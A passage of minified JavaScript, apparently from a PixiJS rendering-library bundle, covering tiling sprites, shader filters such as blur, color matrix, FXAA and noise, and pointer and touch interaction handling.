e=this._texture;if(e.baseTexture.hasLoaded){var r=t.context,n=this.worldTransform,i=t.resolution,o=2===e.rotate,s=e.baseTexture,a=s.resolution,h=this.tilePosition.x/this.tileScale.x%e.orig.width*a,c=this.tilePosition.y/this.tileScale.y%e.orig.height*a;if(this._textureID!==this._texture._updateID||this.cachedTint!==this.tint){this._textureID=this._texture._updateID;var d=new u.CanvasRenderTarget(e.orig.width,e.orig.height,a);if(16777215!==this.tint)this.tintedTexture=l.default.getTintedTexture(this,this.tint),d.context.drawImage(this.tintedTexture,0,0);else{var f=e._frame.x*a,p=e._frame.y*a,v=e._frame.width*a,g=e._frame.height*a,y=(e.trim?e.trim.width:e.orig.width)*a,m=(e.trim?e.trim.height:e.orig.height)*a,_=(e.trim?e.trim.x:0)*a,b=(e.trim?e.trim.y:0)*a;o?(d.context.rotate(-Math.PI/2),d.context.translate(-m,0),d.context.drawImage(s.source,f,p,v,g,-b,_,m,y)):d.context.drawImage(s.source,f,p,v,g,_,b,y,m)}this.cachedTint=this.tint,this._canvasPattern=d.context.createPattern(d.canvas,"repeat")}r.globalAlpha=this.worldAlpha,r.setTransform(n.a*i,n.b*i,n.c*i,n.d*i,n.tx*i,n.ty*i),t.setBlendMode(this.blendMode),r.fillStyle=this._canvasPattern,r.scale(this.tileScale.x/a,this.tileScale.y/a);var x=this.anchor.x*-this._width*a,T=this.anchor.y*-this._height*a;this.uvRespectAnchor?(r.translate(h,c), +r.fillRect(-h+x,-c+T,this._width/this.tileScale.x*a,this._height/this.tileScale.y*a)):(r.translate(h+x,c+T),r.fillRect(-h,-c,this._width/this.tileScale.x*a,this._height/this.tileScale.y*a))}},e.prototype._calculateBounds=function(){var t=this._width*-this._anchor._x,e=this._height*-this._anchor._y,r=this._width*(1-this._anchor._x),n=this._height*(1-this._anchor._y);this._bounds.addFrame(this.transform,t,e,r,n)},e.prototype.getLocalBounds=function(e){return 0===this.children.length?(this._bounds.minX=this._width*-this._anchor._x,this._bounds.minY=this._height*-this._anchor._y,this._bounds.maxX=this._width*(1-this._anchor._x),this._bounds.maxY=this._height*(1-this._anchor._y),e||(this._localBoundsRect||(this._localBoundsRect=new u.Rectangle),e=this._localBoundsRect),this._bounds.getRectangle(e)):t.prototype.getLocalBounds.call(this,e)},e.prototype.containsPoint=function(t){this.worldTransform.applyInverse(t,c);var e=this._width,r=this._height,n=-e*this.anchor._x;if(c.x>=n&&c.x=i&&c.y0&&void 0!==arguments[0]?arguments[0]:new i.Point,e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return this.parent?this.parent.toGlobal(this.position,t,e):(t.x=this.position.x,t.y=this.position.y),t}},{"../core":65}],141:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}r.__esModule=!0,r.BitmapText=r.TilingSpriteRenderer=r.TilingSprite=r.AnimatedSprite=void 0;var i=t("./AnimatedSprite");Object.defineProperty(r,"AnimatedSprite",{enumerable:!0,get:function(){return n(i).default}});var o=t("./TilingSprite");Object.defineProperty(r,"TilingSprite",{enumerable:!0,get:function(){return n(o).default}});var s=t("./webgl/TilingSpriteRenderer");Object.defineProperty(r,"TilingSpriteRenderer",{enumerable:!0,get:function(){return n(s).default}});var a=t("./BitmapText");Object.defineProperty(r,"BitmapText",{enumerable:!0,get:function(){return n(a).default}}),t("./cacheAsBitmap"),t("./getChildByName"),t("./getGlobalPosition")},{"./AnimatedSprite":135,"./BitmapText":136,"./TilingSprite":137,"./cacheAsBitmap":138,"./getChildByName":139,"./getGlobalPosition":140,"./webgl/TilingSpriteRenderer":142}],142:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var s=t("../../core"),a=function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e.default=t,e}(s),u=t("../../core/const"),h=(t("path"),new a.Matrix),l=function(t){function e(r){n(this,e);var o=i(this,t.call(this,r));return o.shader=null,o.simpleShader=null,o.quad=null,o}return o(e,t),e.prototype.onContextChange=function(){var t=this.renderer.gl;this.shader=new a.Shader(t,"attribute vec2 aVertexPosition;\nattribute vec2 aTextureCoord;\n\nuniform mat3 projectionMatrix;\nuniform mat3 translationMatrix;\nuniform mat3 uTransform;\n\nvarying vec2 vTextureCoord;\n\nvoid main(void)\n{\n gl_Position = vec4((projectionMatrix * translationMatrix * vec3(aVertexPosition, 1.0)).xy, 0.0, 1.0);\n\n vTextureCoord = (uTransform * vec3(aTextureCoord, 1.0)).xy;\n}\n","varying vec2 vTextureCoord;\n\nuniform sampler2D uSampler;\nuniform vec4 uColor;\nuniform mat3 uMapCoord;\nuniform vec4 uClampFrame;\nuniform vec2 uClampOffset;\n\nvoid main(void)\n{\n vec2 coord = mod(vTextureCoord - uClampOffset, vec2(1.0, 1.0)) + uClampOffset;\n coord = (uMapCoord * vec3(coord, 1.0)).xy;\n coord = clamp(coord, uClampFrame.xy, uClampFrame.zw);\n\n vec4 sample = texture2D(uSampler, coord);\n gl_FragColor = sample * uColor;\n}\n"),this.simpleShader=new a.Shader(t,"attribute vec2 aVertexPosition;\nattribute vec2 aTextureCoord;\n\nuniform mat3 projectionMatrix;\nuniform mat3 translationMatrix;\nuniform mat3 uTransform;\n\nvarying vec2 vTextureCoord;\n\nvoid main(void)\n{\n gl_Position = vec4((projectionMatrix * translationMatrix * vec3(aVertexPosition, 1.0)).xy, 0.0, 1.0);\n\n vTextureCoord = (uTransform * vec3(aTextureCoord, 1.0)).xy;\n}\n","varying vec2 vTextureCoord;\n\nuniform sampler2D uSampler;\nuniform vec4 uColor;\n\nvoid main(void)\n{\n vec4 sample = texture2D(uSampler, vTextureCoord);\n gl_FragColor = sample * uColor;\n}\n"),this.renderer.bindVao(null),this.quad=new a.Quad(t,this.renderer.state.attribState),this.quad.initVao(this.shader)},e.prototype.render=function(t){var e=this.renderer,r=this.quad;e.bindVao(r.vao);var n=r.vertices;n[0]=n[6]=t._width*-t.anchor.x,n[1]=n[3]=t._height*-t.anchor.y,n[2]=n[4]=t._width*(1-t.anchor.x),n[5]=n[7]=t._height*(1-t.anchor.y),t.uvRespectAnchor&&(n=r.uvs,n[0]=n[6]=-t.anchor.x,n[1]=n[3]=-t.anchor.y,n[2]=n[4]=1-t.anchor.x,n[5]=n[7]=1-t.anchor.y),r.upload();var i=t._texture,o=i.baseTexture,s=t.tileTransform.localTransform,l=t.uvTransform,c=o.isPowerOfTwo&&i.frame.width===o.width&&i.frame.height===o.height;c&&(o._glTextures[e.CONTEXT_UID]?c=o.wrapMode!==u.WRAP_MODES.CLAMP:o.wrapMode===u.WRAP_MODES.CLAMP&&(o.wrapMode=u.WRAP_MODES.REPEAT));var d=c?this.simpleShader:this.shader;e.bindShader(d);var f=i.width,p=i.height,v=t._width,g=t._height;h.set(s.a*f/v,s.b*f/g,s.c*p/v,s.d*p/g,s.tx/v,s.ty/g),h.invert(),c?h.prepend(l.mapCoord):(d.uniforms.uMapCoord=l.mapCoord.toArray(!0),d.uniforms.uClampFrame=l.uClampFrame,d.uniforms.uClampOffset=l.uClampOffset),d.uniforms.uTransform=h.toArray(!0),d.uniforms.uColor=a.utils.premultiplyTintToRgba(t.tint,t.worldAlpha,d.uniforms.uColor,o.premultipliedAlpha),d.uniforms.translationMatrix=t.transform.worldTransform.toArray(!0),d.uniforms.uSampler=e.bindTexture(i),e.setBlendMode(a.utils.correctBlendMode(t.blendMode,o.premultipliedAlpha)),r.vao.draw(this.renderer.gl.TRIANGLES,6,0)},e}(a.ObjectRenderer);r.default=l,a.WebGLRenderer.registerPlugin("tilingSprite",l)},{"../../core":65,"../../core/const":46,path:8}],143:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var s=function(){function t(t,e){for(var r=0;r0&&void 0!==arguments[0]?arguments[0]:1;n(this,e);var o=i(this,t.call(this,"attribute vec2 aVertexPosition;\nattribute vec2 aTextureCoord;\n\nuniform mat3 projectionMatrix;\n\nvarying vec2 vTextureCoord;\n\nvoid main(void)\n{\n gl_Position = vec4((projectionMatrix * vec3(aVertexPosition, 1.0)).xy, 0.0, 1.0);\n vTextureCoord = aTextureCoord;\n}","varying vec2 vTextureCoord;\n\nuniform sampler2D uSampler;\nuniform float uAlpha;\n\nvoid main(void)\n{\n gl_FragColor = texture2D(uSampler, vTextureCoord) * uAlpha;\n}\n"));return o.alpha=r,o.glShaderKey="alpha",o}return o(e,t),s(e,[{key:"alpha",get:function(){return this.uniforms.uAlpha},set:function(t){this.uniforms.uAlpha=t}}]),e}(u.Filter));r.default=h},{"../../core":65,path:8}],144:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function s(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var a=function(){function t(t,e){for(var r=0;r=r&&(u=t-h-1),l=l.replace("%value%",e[u]),s+=l,s+="\n"}return n=n.replace("%blur%",s),n=n.replace("%size%",t)}r.__esModule=!0,r.default=n;var i={5:[.153388,.221461,.250301],7:[.071303,.131514,.189879,.214607],9:[.028532,.067234,.124009,.179044,.20236],11:[.0093,.028002,.065984,.121703,.175713,.198596],13:[.002406,.009255,.027867,.065666,.121117,.174868,.197641],15:[489e-6,.002403,.009246,.02784,.065602,.120999,.174697,.197448]},o=["varying vec2 vBlurTexCoords[%size%];","uniform sampler2D uSampler;","void main(void)","{"," gl_FragColor = vec4(0.0);"," %blur%","}"].join("\n")},{}],148:[function(t,e,r){"use strict";function n(t,e){var r=Math.ceil(t/2),n=i,o="",s=void 0;s=e?"vBlurTexCoords[%index%] = aTextureCoord + vec2(%sampleIndex% * strength, 0.0);":"vBlurTexCoords[%index%] = aTextureCoord + vec2(0.0, %sampleIndex% * strength);";for(var a=0;ae;)r-=2;return r}r.__esModule=!0,r.default=n},{}],150:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var s=function(){function t(t,e){for(var r=0;r 0.0) {\n c.rgb /= c.a;\n }\n\n vec4 result;\n\n result.r = (m[0] * c.r);\n result.r += (m[1] * c.g);\n result.r += (m[2] * c.b);\n result.r += (m[3] * c.a);\n result.r += m[4];\n\n result.g = (m[5] * c.r);\n result.g += (m[6] * c.g);\n result.g += (m[7] * c.b);\n result.g += (m[8] * c.a);\n result.g += m[9];\n\n result.b = (m[10] * c.r);\n result.b += (m[11] * c.g);\n result.b += (m[12] * c.b);\n result.b += (m[13] * c.a);\n result.b += m[14];\n\n result.a = (m[15] * c.r);\n result.a += (m[16] * c.g);\n result.a += (m[17] * c.b);\n result.a += (m[18] * c.a);\n result.a += m[19];\n\n vec3 rgb = mix(c.rgb, result.rgb, uAlpha);\n\n // Premultiply alpha again.\n rgb *= result.a;\n\n gl_FragColor = vec4(rgb, result.a);\n}\n"));return r.uniforms.m=[1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0],r.alpha=1,r}return o(e,t),e.prototype._loadMatrix=function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],r=t;e&&(this._multiply(r,this.uniforms.m,t),r=this._colorMatrix(r)),this.uniforms.m=r},e.prototype._multiply=function(t,e,r){return t[0]=e[0]*r[0]+e[1]*r[5]+e[2]*r[10]+e[3]*r[15],t[1]=e[0]*r[1]+e[1]*r[6]+e[2]*r[11]+e[3]*r[16],t[2]=e[0]*r[2]+e[1]*r[7]+e[2]*r[12]+e[3]*r[17],t[3]=e[0]*r[3]+e[1]*r[8]+e[2]*r[13]+e[3]*r[18],t[4]=e[0]*r[4]+e[1]*r[9]+e[2]*r[14]+e[3]*r[19]+e[4],t[5]=e[5]*r[0]+e[6]*r[5]+e[7]*r[10]+e[8]*r[15],t[6]=e[5]*r[1]+e[6]*r[6]+e[7]*r[11]+e[8]*r[16],t[7]=e[5]*r[2]+e[6]*r[7]+e[7]*r[12]+e[8]*r[17],t[8]=e[5]*r[3]+e[6]*r[8]+e[7]*r[13]+e[8]*r[18],t[9]=e[5]*r[4]+e[6]*r[9]+e[7]*r[14]+e[8]*r[19]+e[9],t[10]=e[10]*r[0]+e[11]*r[5]+e[12]*r[10]+e[13]*r[15],t[11]=e[10]*r[1]+e[11]*r[6]+e[12]*r[11]+e[13]*r[16],t[12]=e[10]*r[2]+e[11]*r[7]+e[12]*r[12]+e[13]*r[17],t[13]=e[10]*r[3]+e[11]*r[8]+e[12]*r[13]+e[13]*r[18],t[14]=e[10]*r[4]+e[11]*r[9]+e[12]*r[14]+e[13]*r[19]+e[14],t[15]=e[15]*r[0]+e[16]*r[5]+e[17]*r[10]+e[18]*r[15],t[16]=e[15]*r[1]+e[16]*r[6]+e[17]*r[11]+e[18]*r[16],t[17]=e[15]*r[2]+e[16]*r[7]+e[17]*r[12]+e[18]*r[17],t[18]=e[15]*r[3]+e[16]*r[8]+e[17]*r[13]+e[18]*r[18],t[19]=e[15]*r[4]+e[16]*r[9]+e[17]*r[14]+e[18]*r[19]+e[19],t},e.prototype._colorMatrix=function(t){var e=new Float32Array(t);return e[4]/=255,e[9]/=255,e[14]/=255,e[19]/=255,e},e.prototype.brightness=function(t,e){var r=[t,0,0,0,0,0,t,0,0,0,0,0,t,0,0,0,0,0,1,0];this._loadMatrix(r,e)},e.prototype.greyscale=function(t,e){var r=[t,t,t,0,0,t,t,t,0,0,t,t,t,0,0,0,0,0,1,0];this._loadMatrix(r,e)},e.prototype.blackAndWhite=function(t){var e=[.3,.6,.1,0,0,.3,.6,.1,0,0,.3,.6,.1,0,0,0,0,0,1,0];this._loadMatrix(e,t)},e.prototype.hue=function(t,e){t=(t||0)/180*Math.PI;var r=Math.cos(t),n=Math.sin(t),i=Math.sqrt,o=1/3,s=i(o),a=r+(1-r)*o,u=o*(1-r)-s*n,h=o*(1-r)+s*n,l=o*(1-r)+s*n,c=r+o*(1-r),d=o*(1-r)-s*n,f=o*(1-r)-s*n,p=o*(1-r)+s*n,v=r+o*(1-r),g=[a,u,h,0,0,l,c,d,0,0,f,p,v,0,0,0,0,0,1,0];this._loadMatrix(g,e)},e.prototype.contrast=function(t,e){var r=(t||0)+1,n=-.5*(r-1),i=[r,0,0,0,n,0,r,0,0,n,0,0,r,0,n,0,0,0,1,0];this._loadMatrix(i,e)},e.prototype.saturate=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments[1],r=2*t/3+1,n=-.5*(r-1),i=[r,n,n,0,0,n,r,n,0,0,n,n,r,0,0,0,0,0,1,0];this._loadMatrix(i,e)},e.prototype.desaturate=function(){this.saturate(-1)},e.prototype.negative=function(t){var e=[-1,0,0,1,0,0,-1,0,1,0,0,0,-1,1,0,0,0,0,1,0];this._loadMatrix(e,t)},e.prototype.sepia=function(t){var e=[.393,.7689999,.18899999,0,0,.349,.6859999,.16799999,0,0,.272,.5339999,.13099999,0,0,0,0,0,1,0];this._loadMatrix(e,t)},e.prototype.technicolor=function(t){var e=[1.9125277891456083,-.8545344976951645,-.09155508482755585,0,11.793603434377337,-.3087833385928097,1.7658908555458428,-.10601743074722245,0,-70.35205161461398,-.231103377548616,-.7501899197440212,1.847597816108189,0,30.950940869491138,0,0,0,1,0];this._loadMatrix(e,t)},e.prototype.polaroid=function(t){var e=[1.438,-.062,-.062,0,0,-.122,1.378,-.122,0,0,-.016,-.016,1.483,0,0,0,0,0,1,0];this._loadMatrix(e,t)},e.prototype.toBGR=function(t){var e=[0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0];this._loadMatrix(e,t)},e.prototype.kodachrome=function(t){var e=[1.1285582396593525,-.3967382283601348,-.03992559172921793,0,63.72958762196502,-.16404339962244616,1.0835251566291304,-.05498805115633132,0,24.732407896706203,-.16786010706155763,-.5603416277695248,1.6014850761964943,0,35.62982807460946,0,0,0,1,0];this._loadMatrix(e,t)},e.prototype.browni=function(t){var e=[.5997023498159715,.34553243048391263,-.2708298674538042,0,47.43192855600873,-.037703249837783157,.8609577587992641,.15059552388459913,0,-36.96841498319127,.24113635128153335,-.07441037908422492,.44972182064877153,0,-7.562075277591283,0,0,0,1,0];this._loadMatrix(e,t)},e.prototype.vintage=function(t){var e=[.6279345635605994,.3202183420819367,-.03965408211312453,0,9.651285835294123,.02578397704808868,.6441188644374771,.03259127616149294,0,7.462829176470591,.0466055556782719,-.0851232987247891,.5241648018700465,0,5.159190588235296,0,0,0,1,0];this._loadMatrix(e,t)},e.prototype.colorTone=function(t,e,r,n,i){t=t||.2,e=e||.15,r=r||16770432,n=n||3375104;var o=(r>>16&255)/255,s=(r>>8&255)/255,a=(255&r)/255,u=(n>>16&255)/255,h=(n>>8&255)/255,l=(255&n)/255,c=[.3,.59,.11,0,0,o,s,a,t,0,u,h,l,e,0,o-u,s-h,a-l,0,0];this._loadMatrix(c,i)},e.prototype.night=function(t,e){t=t||.1;var r=[-2*t,-t,0,0,0,-t,0,t,0,0,0,t,2*t,0,0,0,0,0,1,0];this._loadMatrix(r,e)},e.prototype.predator=function(t,e){ +var r=[11.224130630493164*t,-4.794486999511719*t,-2.8746118545532227*t,0*t,.40342438220977783*t,-3.6330697536468506*t,9.193157196044922*t,-2.951810836791992*t,0*t,-1.316135048866272*t,-3.2184197902679443*t,-4.2375030517578125*t,7.476448059082031*t,0*t,.8044459223747253*t,0,0,0,1,0];this._loadMatrix(r,e)},e.prototype.lsd=function(t){var e=[2,-.4,.5,0,0,-.5,2,-.4,0,0,-.4,-.5,3,0,0,0,0,0,1,0];this._loadMatrix(e,t)},e.prototype.reset=function(){var t=[1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0];this._loadMatrix(t,!1)},s(e,[{key:"matrix",get:function(){return this.uniforms.m},set:function(t){this.uniforms.m=t}},{key:"alpha",get:function(){return this.uniforms.uAlpha},set:function(t){this.uniforms.uAlpha=t}}]),e}(u.Filter));r.default=h,h.prototype.grayscale=h.prototype.greyscale},{"../../core":65,path:8}],151:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var s=function(){function t(t,e){for(var r=0;r lumaMax))\n color = vec4(rgbA, texColor.a);\n else\n color = vec4(rgbB, texColor.a);\n return color;\n}\n\nvoid main() {\n\n vec2 fragCoord = vTextureCoord * filterArea.xy;\n\n vec4 color;\n\n color = fxaa(uSampler, fragCoord, filterArea.xy, v_rgbNW, v_rgbNE, v_rgbSW, v_rgbSE, v_rgbM);\n\n gl_FragColor = color;\n}\n'))}return o(e,t),e}(a.Filter));r.default=u},{"../../core":65,path:8}],153:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}r.__esModule=!0;var i=t("./fxaa/FXAAFilter");Object.defineProperty(r,"FXAAFilter",{enumerable:!0,get:function(){return n(i).default}});var o=t("./noise/NoiseFilter");Object.defineProperty(r,"NoiseFilter",{enumerable:!0,get:function(){return n(o).default}});var s=t("./displacement/DisplacementFilter");Object.defineProperty(r,"DisplacementFilter",{enumerable:!0,get:function(){return n(s).default}});var a=t("./blur/BlurFilter");Object.defineProperty(r,"BlurFilter",{enumerable:!0,get:function(){return n(a).default}});var u=t("./blur/BlurXFilter");Object.defineProperty(r,"BlurXFilter",{enumerable:!0,get:function(){return n(u).default}});var h=t("./blur/BlurYFilter");Object.defineProperty(r,"BlurYFilter",{enumerable:!0,get:function(){return n(h).default}});var l=t("./colormatrix/ColorMatrixFilter");Object.defineProperty(r,"ColorMatrixFilter",{enumerable:!0,get:function(){return n(l).default}});var c=t("./alpha/AlphaFilter");Object.defineProperty(r,"AlphaFilter",{enumerable:!0,get:function(){return n(c).default}})},{"./alpha/AlphaFilter":143,"./blur/BlurFilter":144,"./blur/BlurXFilter":145,"./blur/BlurYFilter":146,"./colormatrix/ColorMatrixFilter":150,"./displacement/DisplacementFilter":151,"./fxaa/FXAAFilter":152,"./noise/NoiseFilter":154}],154:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var s=function(){function t(t,e){for(var r=0;r0&&void 0!==arguments[0]?arguments[0]:.5,o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Math.random();n(this,e);var s=i(this,t.call(this,"attribute vec2 aVertexPosition;\nattribute vec2 aTextureCoord;\n\nuniform mat3 projectionMatrix;\n\nvarying vec2 vTextureCoord;\n\nvoid main(void)\n{\n gl_Position = vec4((projectionMatrix * vec3(aVertexPosition, 1.0)).xy, 0.0, 1.0);\n vTextureCoord = aTextureCoord;\n}","precision highp float;\n\nvarying vec2 vTextureCoord;\nvarying vec4 vColor;\n\nuniform float uNoise;\nuniform float uSeed;\nuniform sampler2D uSampler;\n\nfloat rand(vec2 co)\n{\n return fract(sin(dot(co.xy, vec2(12.9898, 78.233))) * 43758.5453);\n}\n\nvoid main()\n{\n vec4 color = texture2D(uSampler, vTextureCoord);\n float randomValue = rand(gl_FragCoord.xy * uSeed);\n float diff = (randomValue - 0.5) * uNoise;\n\n // Un-premultiply alpha before applying the color matrix. See issue #3539.\n if (color.a > 0.0) {\n color.rgb /= color.a;\n }\n\n color.r += diff;\n color.g += diff;\n color.b += diff;\n\n // Premultiply alpha again.\n color.rgb *= color.a;\n\n gl_FragColor = color;\n}\n"));return s.noise=r,s.seed=o,s}return o(e,t),s(e,[{key:"noise",get:function(){return this.uniforms.uNoise},set:function(t){this.uniforms.uNoise=t}},{key:"seed",get:function(){return this.uniforms.uSeed},set:function(t){this.uniforms.uSeed=t}}]),e}(u.Filter));r.default=h},{"../../core":65,path:8}],155:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(t,e){for(var r=0;r1&&void 0!==arguments[1]?arguments[1]:1;this.removeEvents(),this.interactionDOMElement=t,this.resolution=e,this.addEvents()},e.prototype.addEvents=function(){this.interactionDOMElement&&(h.ticker.shared.add(this.update,this,h.UPDATE_PRIORITY.INTERACTION),window.navigator.msPointerEnabled?(this.interactionDOMElement.style["-ms-content-zooming"]="none",this.interactionDOMElement.style["-ms-touch-action"]="none"):this.supportsPointerEvents&&(this.interactionDOMElement.style["touch-action"]="none"),this.supportsPointerEvents?(window.document.addEventListener("pointermove",this.onPointerMove,!0),this.interactionDOMElement.addEventListener("pointerdown",this.onPointerDown,!0),this.interactionDOMElement.addEventListener("pointerleave",this.onPointerOut,!0),this.interactionDOMElement.addEventListener("pointerover",this.onPointerOver,!0),window.addEventListener("pointercancel",this.onPointerCancel,!0),window.addEventListener("pointerup",this.onPointerUp,!0)):(window.document.addEventListener("mousemove",this.onPointerMove,!0),this.interactionDOMElement.addEventListener("mousedown",this.onPointerDown,!0),this.interactionDOMElement.addEventListener("mouseout",this.onPointerOut,!0),this.interactionDOMElement.addEventListener("mouseover",this.onPointerOver,!0),window.addEventListener("mouseup",this.onPointerUp,!0)),this.supportsTouchEvents&&(this.interactionDOMElement.addEventListener("touchstart",this.onPointerDown,!0),this.interactionDOMElement.addEventListener("touchcancel",this.onPointerCancel,!0),this.interactionDOMElement.addEventListener("touchend",this.onPointerUp,!0),this.interactionDOMElement.addEventListener("touchmove",this.onPointerMove,!0)),this.eventsAdded=!0)},e.prototype.removeEvents=function(){this.interactionDOMElement&&(h.ticker.shared.remove(this.update,this),window.navigator.msPointerEnabled?(this.interactionDOMElement.style["-ms-content-zooming"]="",this.interactionDOMElement.style["-ms-touch-action"]=""):this.supportsPointerEvents&&(this.interactionDOMElement.style["touch-action"]=""),this.supportsPointerEvents?(window.document.removeEventListener("pointermove",this.onPointerMove,!0),this.interactionDOMElement.removeEventListener("pointerdown",this.onPointerDown,!0),this.interactionDOMElement.removeEventListener("pointerleave",this.onPointerOut,!0),this.interactionDOMElement.removeEventListener("pointerover",this.onPointerOver,!0),window.removeEventListener("pointercancel",this.onPointerCancel,!0),window.removeEventListener("pointerup",this.onPointerUp,!0)):(window.document.removeEventListener("mousemove",this.onPointerMove,!0),this.interactionDOMElement.removeEventListener("mousedown",this.onPointerDown,!0),this.interactionDOMElement.removeEventListener("mouseout",this.onPointerOut,!0),this.interactionDOMElement.removeEventListener("mouseover",this.onPointerOver,!0),window.removeEventListener("mouseup",this.onPointerUp,!0)),this.supportsTouchEvents&&(this.interactionDOMElement.removeEventListener("touchstart",this.onPointerDown,!0),this.interactionDOMElement.removeEventListener("touchcancel",this.onPointerCancel,!0),this.interactionDOMElement.removeEventListener("touchend",this.onPointerUp,!0),this.interactionDOMElement.removeEventListener("touchmove",this.onPointerMove,!0)),this.interactionDOMElement=null,this.eventsAdded=!1)},e.prototype.update=function(t){if(this._deltaTime+=t,!(this._deltaTime=0;l--){var c=h[l],d=this.processInteractive(t,c,r,n,a);if(d){if(!c.parent)continue;a=!1,d&&(t.target&&(n=!1),s=!0)}}return i&&(n&&!t.target&&!e.hitArea&&e.containsPoint&&e.containsPoint(o)&&(s=!0),e.interactive&&(s&&!t.target&&(t.target=e),r&&r(t,e,!!s))),s},e.prototype.onPointerDown=function(t){if(!this.supportsTouchEvents||"touch"!==t.pointerType){var e=this.normalizeToPointerData(t);this.autoPreventDefault&&e[0].isNormalized&&t.preventDefault();for(var r=e.length,n=0;ne?1:this._height/e;t[9]=t[11]=t[13]=t[15]=this._topHeight*r,t[17]=t[19]=t[21]=t[23]=this._height-this._bottomHeight*r,t[25]=t[27]=t[29]=t[31]=this._height},e.prototype.updateVerticalVertices=function(){var t=this.vertices,e=this._leftWidth+this._rightWidth,r=this._width>e?1:this._width/e;t[2]=t[10]=t[18]=t[26]=this._leftWidth*r,t[4]=t[12]=t[20]=t[28]=this._width-this._rightWidth*r,t[6]=t[14]=t[22]=t[30]=this._width},e.prototype._renderCanvas=function(t){var e=t.context,r=this.worldTransform,n=t.resolution,i=16777215!==this.tint,o=this._texture;i&&this._cachedTint!==this.tint&&(this._cachedTint=this.tint,this._tintedTexture=c.default.getTintedTexture(this,this.tint));var s=i?this._tintedTexture:o.baseTexture.source;this._canvasUvs||(this._canvasUvs=[0,0,0,0,0,0,0,0]);var a=this.vertices,u=this._canvasUvs,h=i?0:o.frame.x,l=i?0:o.frame.y,d=h+o.frame.width,f=l+o.frame.height;u[0]=h,u[1]=h+this._leftWidth,u[2]=d-this._rightWidth,u[3]=d,u[4]=l,u[5]=l+this._topHeight,u[6]=f-this._bottomHeight,u[7]=f;for(var p=0;p<8;p++)u[p]*=o.baseTexture.resolution;e.globalAlpha=this.worldAlpha,t.setBlendMode(this.blendMode),t.roundPixels?e.setTransform(r.a*n,r.b*n,r.c*n,r.d*n,r.tx*n|0,r.ty*n|0):e.setTransform(r.a*n,r.b*n,r.c*n,r.d*n,r.tx*n,r.ty*n);for(var v=0;v<3;v++)for(var g=0;g<3;g++){var 